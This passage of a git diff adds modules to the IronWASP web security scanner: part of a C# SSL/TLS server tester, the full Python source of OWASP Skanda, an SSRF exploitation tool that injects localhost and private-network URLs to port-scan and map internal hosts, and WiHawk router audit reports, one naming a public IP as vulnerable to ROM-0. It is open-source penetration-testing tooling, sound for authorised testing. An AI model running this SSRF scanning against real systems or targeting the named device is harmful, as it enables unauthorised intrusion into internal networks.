"TLS_RSA_WITH_AES_256_CCM_8"); + S8(0xC0A2, "TLS_DHE_RSA_WITH_AES_128_CCM_8"); + S8(0xC0A3, "TLS_DHE_RSA_WITH_AES_256_CCM_8"); + S8(0xC0A4, "TLS_PSK_WITH_AES_128_CCM"); + S8(0xC0A5, "TLS_PSK_WITH_AES_256_CCM"); + S8(0xC0A6, "TLS_DHE_PSK_WITH_AES_128_CCM"); + S8(0xC0A7, "TLS_DHE_PSK_WITH_AES_256_CCM"); + S8(0xC0A8, "TLS_PSK_WITH_AES_128_CCM_8"); + S8(0xC0A9, "TLS_PSK_WITH_AES_256_CCM_8"); + S8(0xC0AA, "TLS_PSK_DHE_WITH_AES_128_CCM_8"); + S8(0xC0AB, "TLS_PSK_DHE_WITH_AES_256_CCM_8"); + + DebugOutput("[+INFO] Cipher Suites Initialised"); + } + } + + class CipherSuite + { + + internal int suite; + internal string name; + internal bool isCBC; + internal int strength; + } + + class M + { + + internal const int CHANGE_CIPHER_SPEC = 20; + internal const int ALERT = 21; + internal const int HANDSHAKE = 22; + internal const int APPLICATION = 23; + + internal static void Enc16be(int val, byte[] buf, int off) + { + buf[off] = (byte)(val >> 8); + buf[off + 1] = (byte)val; + } + + internal static void Enc24be(int val, byte[] buf, int off) + { + buf[off] = (byte)(val >> 16); + buf[off + 1] = (byte)(val >> 8); + buf[off + 2] = (byte)val; + } + + internal static void Enc32be(int val, byte[] buf, int off) + { + buf[off] = (byte)(val >> 24); + buf[off + 1] = (byte)(val >> 16); + buf[off + 2] = (byte)(val >> 8); + buf[off + 3] = (byte)val; + } + + internal static int Dec16be(byte[] buf, int off) + { + return ((int)buf[off] << 8) + | (int)buf[off + 1]; + } + + internal static int Dec24be(byte[] buf, int off) + { + return ((int)buf[off] << 16) + | ((int)buf[off + 1] << 8) + | (int)buf[off + 2]; + } + + internal static uint Dec32be(byte[] buf, int off) + { + return ((uint)buf[off] << 24) + | ((uint)buf[off + 1] << 16) + | ((uint)buf[off + 2] << 8) + | (uint)buf[off + 3]; + } + + internal static void ReadFully(Stream s, byte[] buf) + { + ReadFully(s, buf, 0, buf.Length); + } + + internal static void ReadFully(Stream s, byte[] buf, int off, int len) + { + while (len > 0) + { + int rlen = s.Read(buf, off, len); + if (rlen <= 0) + { + throw new EndOfStreamException(); + } + off += rlen; + len -= rlen; + } + } + + static readonly DateTime Jan1st1970 = + new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + internal static long CurrentTimeMillis() + { + return (long)(DateTime.UtcNow - Jan1st1970).TotalMilliseconds; + } + + /* + * Compute the SHA-1 hash of some bytes, returning the hash + * value in hexadecimal. + */ + internal static string DoSHA1(byte[] buf) + { + return DoSHA1(buf, 0, buf.Length); + } + + internal static string DoSHA1(byte[] buf, int off, int len) + { + byte[] hv = new SHA1Managed().ComputeHash(buf, off, len); + StringBuilder sb = new StringBuilder(); + foreach (byte b in hv) + { + sb.AppendFormat("{0:x2}", b); + } + return sb.ToString(); + } + + /* + * A constant SSLv2 CLIENT-HELLO message. Only one connection + * is needed for SSLv2, since the server response will contain + * _all_ the cipher suites that the server is willing to + * support. + * + * Note: when (mis)interpreted as a SSLv3+ record, this message + * apparently encodes some data of (invalid) 0x80 type, using + * protocol version TLS 44.1, and record length of 2 bytes. + * Thus, the receiving part will quickly conclude that it will + * not support that, instead of stalling for more data from the + * client. + */ + internal static byte[] SSL2_CLIENT_HELLO = { + 0x80, 0x2E, // header (record length) + 0x01, // message type (CLIENT HELLO) + 0x00, 0x02, // version (0x0002) + 0x00, 0x15, // cipher specs list length + 0x00, 0x00, // session ID length + 0x00, 0x10, // challenge length + 0x01, 0x00, 0x80, // SSL_CK_RC4_128_WITH_MD5 + 0x02, 0x00, 0x80, // SSL_CK_RC4_128_EXPORT40_WITH_MD5 + 0x03, 0x00, 0x80, // SSL_CK_RC2_128_CBC_WITH_MD5 + 0x04, 0x00, 0x80, // SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 + 0x05, 0x00, 0x80, // SSL_CK_IDEA_128_CBC_WITH_MD5 + 0x06, 0x00, 0x40, // SSL_CK_DES_64_CBC_WITH_MD5 + 0x07, 0x00, 0xC0, // SSL_CK_DES_192_EDE3_CBC_WITH_MD5 + 0x54, 0x54, 0x54, 0x54, // challenge data (16 bytes) + 0x54, 0x54, 0x54, 0x54, + 0x54, 0x54, 0x54, 0x54, + 0x54, 0x54, 0x54, 0x54 + }; + } + + // CanRead, CanSeek, CanWrite, Flush, Length, Position, Seek, SetLength + + class SSLRecord : Stream + { + + const int MAX_RECORD_LEN = 16384; + + Stream sub; + byte[] outBuf = new byte[MAX_RECORD_LEN + 5]; + int outPtr; + int outVersion; + int outType; + byte[] inBuf = new byte[MAX_RECORD_LEN + 5]; + int inPtr; + int inEnd; + int inVersion; + int inType; + int inExpectedType; + + internal SSLRecord(Stream sub) + { + this.sub = sub; + outPtr = 5; + inPtr = 0; + inEnd = 0; + } + + public override bool CanRead { get { return true; } } + public override bool CanSeek { get { return false; } } + public override bool CanWrite { get { return true; } } + public override long Length + { + get { throw new NotSupportedException(); } + } + public override long Position + { + get { throw new NotSupportedException(); } + set { throw new NotSupportedException(); } + } + + public override long Seek(long offset, SeekOrigin origin) + { + throw new NotSupportedException(); + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + internal void SetOutType(int type) + { + this.outType = type; + } + + internal void SetOutVersion(int version) + { + this.outVersion = version; + } + + public override void Flush() + { + outBuf[0] = (byte)outType; + M.Enc16be(outVersion, outBuf, 1); + M.Enc16be(outPtr - 5, outBuf, 3); + sub.Write(outBuf, 0, outPtr); + sub.Flush(); + outPtr = 5; + } + + public override void WriteByte(byte b) + { + outBuf[outPtr++] = b; + if (outPtr == outBuf.Length) + { + Flush(); + } + } + + public void Write(byte[] buf) + { + Write(buf, 0, buf.Length); + } + + public override void Write(byte[] buf, int off, int len) + { + while (len > 0) + { + int clen = Math.Min(outBuf.Length - outPtr, len); + Array.Copy(buf, off, outBuf, outPtr, clen); + outPtr += clen; + off += clen; + len -= clen; + if (outPtr == outBuf.Length) + { + Flush(); + } + } + } + + internal void SetExpectedType(int expectedType) + { + this.inExpectedType = expectedType; + } + + internal int GetInVersion() + { + return inVersion; + } + + void Refill() + { + for (; ; ) + { + M.ReadFully(sub, inBuf, 0, 5); + inType = inBuf[0]; + inVersion = M.Dec16be(inBuf, 1); + inEnd = M.Dec16be(inBuf, 3); + M.ReadFully(sub, inBuf, 0, inEnd); + inPtr = 0; + if (inType != inExpectedType) + { + if (inType == M.ALERT) + { + /* + * We just ignore alert + * messages. + */ + continue; + } + throw new IOException( + "unexpected record type: " + + inType); + } + return; + } + } + + public override int ReadByte() + { + while (inPtr == inEnd) + { + Refill(); + } + return inBuf[inPtr++]; + } + + public override int Read(byte[] buf, int off, int len) + { + while (inPtr == inEnd) + { + Refill(); + } + int clen = Math.Min(inEnd - inPtr, len); + Array.Copy(inBuf, inPtr, buf, off, clen); + inPtr += clen; + return clen; + } + } + + /* + * This class decodes a ServerHello message from the server. The + * fields we are interested in are stored in the + * package-accessible fields. + */ + class ServerHello + { + + internal int recordVersion; + internal int protoVersion; + internal long serverTime; + internal int cipherSuite; + internal int compression; + internal string serverCertName; + internal string serverCertHash; + + internal ServerHello(SSLRecord rec) + { + rec.SetExpectedType(M.HANDSHAKE); + + /* + * First, get the handshake message header (4 bytes). + * First byte should be 2 ("ServerHello"), then + * comes the message size (over 3 bytes). + */ + byte[] buf = new byte[4]; + M.ReadFully(rec, buf); + recordVersion = rec.GetInVersion(); + if (buf[0] != 2) + { + throw new IOException("unexpected handshake" + + " message type: " + buf[0]); + } + buf = new byte[M.Dec24be(buf, 1)]; + + /* + * Read the complete message in RAM. + */ + M.ReadFully(rec, buf); + int ptr = 0; + + /* + * The protocol version which we will use. + */ + if (ptr + 2 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + protoVersion = M.Dec16be(buf, 0); + ptr += 2; + + /* + * The server random begins with the server's notion + * of the current time. + */ + if (ptr + 32 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + serverTime = 1000L * (long)M.Dec32be(buf, ptr); + ptr += 32; + + /* + * We skip the session ID. + */ + if (ptr + 1 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + ptr += 1 + buf[ptr]; + + /* + * The cipher suite and compression follow. + */ + if (ptr + 3 > buf.Length) + { + throw new IOException("invalid ServerHello"); + } + cipherSuite = M.Dec16be(buf, ptr); + compression = buf[ptr + 2]; + + /* + * The ServerHello could include some extensions + * here, which we ignore. + */ + + /* + * We now read a few extra messages, until we + * reach the server's Certificate message, or + * ServerHelloDone. + */ + for (; ; ) + { + buf = new byte[4]; + M.ReadFully(rec, buf); + int mt = buf[0]; + buf = new byte[M.Dec24be(buf, 1)]; + M.ReadFully(rec, buf); + switch (mt) + { + case 11: + ProcessCertificate(buf); + return; + case 14: + // ServerHelloDone + return; + } + } + } + + private void ProcessCertificate(byte[] buf) + { + if (buf.Length <= 6) + { + return; + } + int len1 = M.Dec24be(buf, 0); + if (len1 != buf.Length - 3) + { + return; + } + int len2 = M.Dec24be(buf, 3); + if (len2 > buf.Length - 6) + { + return; + } + byte[] ec = new byte[len2]; + Array.Copy(buf, 6, ec, 0, len2); + + try + { + X509Certificate2 xc = new X509Certificate2(ec); + serverCertName = xc.SubjectName.Name; + } + catch (Exception) + { + // ignored + return; + } + serverCertHash = M.DoSHA1(ec); + } + } + + /* + * This class represents the response of a server which knows + $ SSLv2. It includes the list of cipher suites and the + * identification of the server certificate. + */ + class ServerHelloSSLv2 + { + + internal int[] cipherSuites; + internal string serverCertName; + internal string serverCertHash; + + internal ServerHelloSSLv2(Stream ss) + { + // Record length + byte[] buf = new byte[2]; + M.ReadFully(ss, buf); + int len = M.Dec16be(buf, 0); + if ((len & 0x8000) == 0) + { + throw new IOException("not a SSLv2 record"); + } + len &= 0x7FFF; + if (len < 11) + { + throw new IOException( + "not a SSLv2 server hello"); + } + buf = new byte[11]; + M.ReadFully(ss, buf); + if (buf[0] != 0x04) + { + throw new IOException( + "not a SSLv2 server hello"); + } + int certLen = M.Dec16be(buf, 5); + int csLen = M.Dec16be(buf, 7); + int connIdLen = M.Dec16be(buf, 9); + if (len != 11 + certLen + csLen + connIdLen) + { + throw new IOException( + "not a SSLv2 server hello"); + } + if (csLen == 0 || csLen % 3 != 0) + { + throw new IOException( + "not a SSLv2 server hello"); + } + byte[] cert = new byte[certLen]; + M.ReadFully(ss, cert); + byte[] cs = new byte[csLen]; + M.ReadFully(ss, cs); + byte[] connId = new byte[connIdLen]; + M.ReadFully(ss, connId); + cipherSuites = new int[csLen / 3]; + for (int i = 0, j = 0; i < csLen; i += 3, j++) + { + cipherSuites[j] = M.Dec24be(cs, i); + } + try + { + X509Certificate2 xc = new X509Certificate2(cert); + serverCertName = xc.SubjectName.Name; + } + catch (Exception) + { + // ignored + return; + } + serverCertHash = M.DoSHA1(cert); + } + } + +} \ No newline at end of file diff --git a/Iron/bin/Debug/modules/SSLSecurityChecker/TestSSLServer.dll b/Iron/bin/Debug/modules/SSLSecurityChecker/TestSSLServer.dll new file mode 100644 index 0000000..9c8b2e7 Binary files /dev/null and b/Iron/bin/Debug/modules/SSLSecurityChecker/TestSSLServer.dll differ diff --git a/Iron/bin/Debug/modules/Skanda/Skanda.py b/Iron/bin/Debug/modules/Skanda/Skanda.py new file mode 100644 index 0000000..2f15e27 --- /dev/null +++ b/Iron/bin/Debug/modules/Skanda/Skanda.py @@ -0,0 +1,369 @@ +# +# Copyright 2013 Jayesh Singh Chauhan +# +# This file is part of OWASP Skanda - SSRF Exploitation Framework +# +# Skanda is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, version 3 of the License. +# +# Skanda is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# http://www.gnu.org/licenses/ +# + +from IronWASP import * +import re +import time + +#Extend the Module base class +class Skanda(Module): + + + #Implement the GetInstance method of Module class. This method is used to create new instances of this module. + def GetInstance(self): + m = Skanda() + m.Name = 'Skanda' + return m + + + + #Implement the StartModule method of Module class. This is the method called by IronWASP when user tries to launch the moduule from the UI. + def StartModuleOnSession(self, sess): + #IronConsole is a CLI window where output can be printed and user input accepted + self.console = IronConsole() + self.console.SetTitle('OWASP Skanda') + self.console.ConsoleClosing += lambda e: self.close_console(e) + self.console.ShowConsole() + #'Print' prints text at the CLI. 'PrintLine' prints text by adding a newline at the end. + self.console.PrintLine('OWASP Skanda - SSRF Exploitation Framework v0.2') + self.console.PrintLine('Copyright 2013 Jayesh Singh Chauhan') + self.console.PrintLine('License : GPL v3 - http://opensource.org/licenses/GPL-3.0') + self.console.PrintLine('https://github.com/jayeshchauhan/skanda') + self.console.PrintLine('') + self.console.Print('[*] Getting scan settings from user...') + f = Fuzzer.FromUi(sess.Request) + self.f=f + f.SetLogSource('Skanda') + if f.HasMore() == False: + self.console.PrintLine('') + self.console.PrintLine('[*]You have not any provided scan settings, hence scan cannot proceed. Please close this window ') + return + self.console.PrintLine('done!') + self.console.PrintLine('') + self.console.PrintLine('Refer the below menu and provide the corresponding numeric input') + self.console.PrintLine('1. Port Scan') + self.console.PrintLine('2. Network Discovery') + feature = self.console.ReadLine() + if feature == '1': + self.console.PrintLine('') + self.console.PrintLine('Skanda is going to perform port scan on the target server using SSRF') +#Port Scan Logic + self.console.PrintLine('') + self.print_input_message() + scan_type = self.console.ReadLine() + first_input_check = bool(False) + while first_input_check == False: + + if scan_type == '1': + first_input_check = bool(True) + elif scan_type == '2': + first_input_check = bool(True) + else: + self.console.PrintLine('') + self.console.PrintLine('Please enter valid inputs') + self.print_input_message() + #'Read' accepts multi-line input from the user through the CLI. 'ReadLine' accepts single line user input. + scan_type = self.console.ReadLine() + + if scan_type == '2': + self.console.PrintLine('Enter the range of ports to be scanned (Ex: x-y)') + payloads_input = self.console.ReadLine() + self.console.PrintLine('Scanning the following port range -> ' + payloads_input) + # #We are getting the payloads list from user only to demonstarte the user input feature. + + second_input_check = bool(False) + while second_input_check == False: + hyphen = "-" + if hyphen in payloads_input: + range_str = payloads_input.split(hyphen) + try: + lower_range = int(range_str[0]) + higher_range = int(range_str[1]) + second_input_check = True + except: + self.console.PrintLine('') + self.console.PrintLine('Please enter the input in valid format') + self.console.PrintLine('Enter the range of ports to be scanned (Ex: x-y)') + payloads_input = self.console.ReadLine() + else: + self.console.PrintLine('') + self.console.PrintLine('Please enter the input in valid format') + self.console.PrintLine('Enter the range of ports to be scanned (Ex: x-y)') + payloads_input = self.console.ReadLine() + + port_range = payloads_input.split("-") + + + self.console.PrintLine('') + self.console.PrintLine('[*] Starting the scan.') + self.console.PrintLine('') + self.console.PrintLine('[*]Performing initial diagnostics. This might take a while') + self.error_xspa = [] + self.blind_xspa = [] + self.base_req = sess.Request + avg_res_time = (sess.Request.Send().RoundTrip + sess.Request.Send().RoundTrip + sess.Request.Send().RoundTrip)/3 + timeout = avg_res_time + 5000 + self.console.PrintLine('[*]Diagnostics completed !') + self.console.PrintLine("[*}Now, let's start port scan") + self.console.PrintLine('') + + while f.HasMore(): + f.Next() + + self.res_1 = f.Inject("http://localhost:1") + + res_2= f.Inject("http://localhost:2") + + self.body_diff = Tools.DiffLevel(self.res_1.BodyString, res_2.BodyString) + int(5) + + + if scan_type == '1': + ports = [20,21,22,23,25,53,69,79,80,81,105,106,107,110,111,113,115,137,139,143,194,220,389,443,636,944,989,990,1025,1080,2049,2224,8009,8080,8443,8843,8090,14147,63891] + port_count = len(ports) + start_time = time.time() + + for port in ports: + self.port_scan(f,port,timeout) + + end_time = time.time() + time_taken = end_time - start_time + self.console.PrintLine('') + self.console.PrintLine('Open ports discovered via Blind XSPA - ' + str(self.blind_xspa)) + self.console.PrintLine('Open ports discovered via Error based XSPA - ' + str(self.error_xspa)) + self.console.PrintLine('') + self.console.PrintLine('The time taken to scan most common ports - ' + str(ports) + ' is -> ' + str("%0.2f" % time_taken) + ' seconds') + self.console.PrintLine('Now Skanda is going to scan for rest of the ports from 1-65535') + minutes = (time_taken/port_count) *(65535/60) + self.console.PrintLine('The scan is going to take approximately - ' + str("%0.2f" % minutes) + ' minutes' ) + self.console.PrintLine('') + self.console.PrintLine('Please enter any key to continue or press "n" to exit') + cont = self.console.ReadLine() + if cont == 'n' or cont == 'N': + self.console.PrintLine('') + self.console.PrintLine('[*] Scan Stopped, Please close the window') + self.console.PrintLine('') + self.console.PrintLine('Open ports discovered via Blind XSPA - ' + str(self.blind_xspa)) + self.console.PrintLine('Open ports discovered via Error based XSPA - ' + str(self.error_xspa)) + self.StopModule() + + self.console.PrintLine('') + self.console.PrintLine('Starting scan for rest of the ports 1-65535') + self.console.PrintLine('') + + for port in range(1,65536): + self.port_scan(f,port,timeout) + + elif scan_type == '2': + for port in range(int(port_range[0]),int(port_range[1])+1): + self.port_scan(f,port,timeout) + + self.console.PrintLine('') + self.console.PrintLine('[*] Scan completed') + self.console.PrintLine('') + self.console.PrintLine('Open ports discovered via Blind XSPA - ' + str(self.blind_xspa)) + self.console.PrintLine('Open ports discovered via error based XSPA - ' + str(self.error_xspa)) + +#Network Discovery Logic + elif feature == '2': + self.console.PrintLine('') + self.console.PrintLine('Skanda is going to perform network discovery using SSRF') + self.console.PrintLine('') + self.console.PrintLine('[*]Performing initial diagnostics. This might take a while') + netdis_req = sess.Request.GetClone() + #netdis_req.Body.Set('url','http://localhost') + #netdi_avg_time is the timeout in this case + netdis_avg_time = 1000 + (netdis_req.Send().RoundTrip + netdis_req.Send().RoundTrip + netdis_req.Send().RoundTrip)/3 + #print "Average Time Calculated -> " + str(netdis_avg_time) + self.console.PrintLine('') + self.console.PrintLine('Please provide input') + self.console.PrintLine('1. Specify IP range (to scan user specific range of IP addresses)') + self.console.PrintLine('2. Start Default Scan') + range_menu_input = self.console.ReadLine() + + if range_menu_input == '1': + self.console.PrintLine('') + self.console.PrintLine('IP range can be input in the following format:') + self.console.PrintLine('Ex1: Range "192.168-169.1-2.1" - will include IPs - 192.168.1.1, 192.168.2.2, 192.169.1.1, 192.169.2.1') + self.console.PrintLine('Ex2: Range "192.168.1.1/24" - will include IPs- 192.168.1.1, 192.168.1.2.........192.168.1.253, 192.168.1.254') + self.console.PrintLine('') + self.console.PrintLine('Please enter the range of IP addresses') + user_range = self.console.ReadLine() + self.console.PrintLine('') + try: + x = Tools.NwToIp(user_range) + if not x: + raise exc #intentionally raising an exception IF THE RANGE 'List()' is empty + self.console.PrintLine("Scanning the range -> " + user_range) + except: + self.console.PrintLine('The range entered is incorrect. Please have a look at the examples provide before inputting the range.') + + while f.HasMore(): + f.Next() + + self.Scan_Ips(self.f,user_range,netdis_avg_time) + + self.console.PrintLine("[*] Scan Completed!!!") + #netdi_avg_time is the timeout + + elif range_menu_input == '2': + + #Since the Scan_Network function is designed to search for routers only, the *.*.*.1 IP ranges are seelected at first. + #Once a router is found, Scan_Ips function is called which then takes into account the subnet. + first_range = "192.168.0-255.1" + second_range = "172.16-31.0-255.1" + third_range = "10.0-255.0-255.1" + self.console.PrintLine('[*]Diagnostics Completed !!') + self.console.PrintLine('') + self.console.PrintLine("[*]Let's find some networks") + self.console.PrintLine('') + while f.HasMore(): + f.Next() + + self.console.PrintLine('Scanning Class C IP addresses') + self.console.PrintLine('') + self.Scan_Network(f,first_range,netdis_avg_time) + #netdi_avg_time is the timeout + + self.console.PrintLine('Scanning Class B IP addresses') + self.console.PrintLine('') + self.Scan_Network(f,second_range,netdis_avg_time) + + self.console.PrintLine('Scanning Class A IP addresses') + self.console.PrintLine('') + self.Scan_Network(f,third_range,netdis_avg_time) + + self.console.PrintLine('[*] Scan Completed!!!') + return + + else: + self.console.PrintLine('') + self.console.PrintLine('Wrong Input') + self.console.PrintLine('') + self.console.PrintLine('Close this window and Restart Skanda !!!') + + + #Functions used for port scan + def port_scan(self,f,port,timeout): + + res='' + try: + payload = "http://localhost:" + str(port) + res = f.Inject(payload,timeout) + except: + try: + base_res = self.base_req.Send(timeout) + except: + self.console.PrintLine('There is something wrong with the network. After checking the network, please enter any key to resume') + ans = self.console.Readline() + + try: + res = f.Inject(payload,timeout) + except: + self.console.PrintLine("Port " + (' '*(5-len(str(port)))) + str(port) + " is open (Blind XSPA) ") + self.blind_xspa.append(str(port)) + return + port_status = self.check_port_status(res,self.res_1,self.body_diff) + self.console.PrintLine("Port " + (' '*(5-len(str(port)))) + str(port) + " is " + port_status) + if port_status == 'Open': + self.error_xspa.append(str(port)) + + def check_port_status(self,response1,response2,threshold): + if Tools.DiffLevel(response1.BodyString,response2.BodyString) <= threshold: + return "Closed" + else: + return "Open" + + def print_input_message(self): + self.console.PrintLine('Select the scan type from below options:') + self.console.PrintLine('1) Scan Predefined list of ports') + self.console.PrintLine('2) Accept port list from user and scan them') + self.console.PrintLine('Enter 1 or 2 below:') + + def main_menu_input(self): + self.console.PrintLine('') + self.console.PrintLine('Please enter valid inputs') + self.console.PrintLine('1. Port Scan') + self.console.PrintLine('2. Network Discovery') + + def close_console(self, e): + #This method terminates the main thread on which the module is running + self.StopModule() + + #Functions used for network discovery + def Scan_Network(self,f,range,timeout): + + routers = Tools.NwToIp(range) + for router in routers: + self.console.Print(".") + router_ip = "http://" + str(router) + #check_router_req = request.GetClone() + #print "cloned " + str(router) + #check_router_req.Body.Set('url',str(router_ip)) + #print "ip changed " + str(router) + try: + #check_router_res = check_router_req.Send(timeout) + check_router_res = f.Inject(router_ip,timeout) + self.console.PrintLine('') + self.console.PrintLine("Active Router discovered -> " + str(router)) + self.console.PrintLine('') + #self.console.PrintLine("RoundTrip Time for " + str(router_ip) + "->" + str(check_router_res.RoundTrip)) + #up_count = up_count + 1 + self.console.PrintLine('Scanning subnet') + self.Scan_Ips(f,router+"/24",timeout) + except: + continue + #self.console.PrintLine("Router IP -> " + str(router) + " is down") + + + + + + def Scan_Ips(self,f,range,timeout): + node_range = Tools.NwToIp(range) + #self.console.PrintLine('entered function') + for node in node_range: + #self.console.PrintLine('entered loop') + self.console.Print('.') + node_http = "http://" + node + #self.console.PrintLine(node_http) + + #self.console.PrintLine("Sending Node") + ip_timeout = timeout + 1000 + #self.console.PrintLine(ip_timeout) + #IronThread.Sleep(1000) + try: + #self.console.PrintLine(node_http) + #self.console.PrintLine(self.f) + node_res = self.f.Inject(node_http,ip_timeout) + #self.console.PrintLine('node active') + #print "Node -> " + node + " is up" + self.console.PrintLine('') + self.console.PrintLine(" Node "+node+" -> is active")#+str(node_res.RoundTrip)) + self.console.PrintLine('') + + except Exception as e: + continue + # self.console.PrintLine(e) + # self.console.PrintLine(" Node -> " + node + " is down") + # self.console.PrintLine('') +#This code is executed only once when this new module is loaded in to the memory. +#Create an instance of the this module +m = Skanda() +#Call the GetInstance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of Modules +Module.Add(m.GetInstance()) + + diff --git a/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635360167067600495.txt b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635360167067600495.txt new file mode 100644 index 0000000..62bd16f Binary files /dev/null and b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635360167067600495.txt differ diff --git a/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635360168965329039.txt b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635360168965329039.txt new file mode 100644 index 0000000..62bd16f Binary files /dev/null and b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635360168965329039.txt differ diff --git a/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635361252494487373 b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635361252494487373 new file mode 100644 index 0000000..3db2014 Binary files /dev/null and b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635361252494487373 differ diff --git a/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635361253107348051 b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635361253107348051 new file mode 100644 index 0000000..3db2014 Binary files /dev/null and b/Iron/bin/Debug/modules/WiHawk/ROM-0/rom-0635361253107348051 differ diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_33_03_PM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_33_03_PM.txt new file mode 100644 index 0000000..4126dbb --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_33_03_PM.txt @@ -0,0 +1,27 @@ + +*********************************************************************************************** + Auditing 122.163.215.163 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Router is Vulnerable to ROM-0 with ip: 122.163.215.163 + rom-0 file is saved to IronWASP\modules\WiHawk\ROM-0 path +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +###################################################### + Checking 122.163.215.163 for Authentication ByPass Vulnerability +###################################################### +No authentication bypas vulnerability could be discovered on this device. + +*********************************************************************************************** + Auditing 122.163.215.163 for weak Username & Password based Authentication +*********************************************************************************************** + +The IP 122.163.215.163 is not set with default username-password + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$$ Devices with HTTP basic authentication $$$$$$$$$$$$$$ + 122.163.215.163 + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_36_24_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_36_24_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_36_24_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_38_28_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_38_28_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_38_28_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_58_38_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_58_38_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_1_58_38_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_13_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_13_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_13_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_14_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_14_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_14_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_15_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_15_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_15_AM.txt @@ -0,0 +1,9 @@ + + 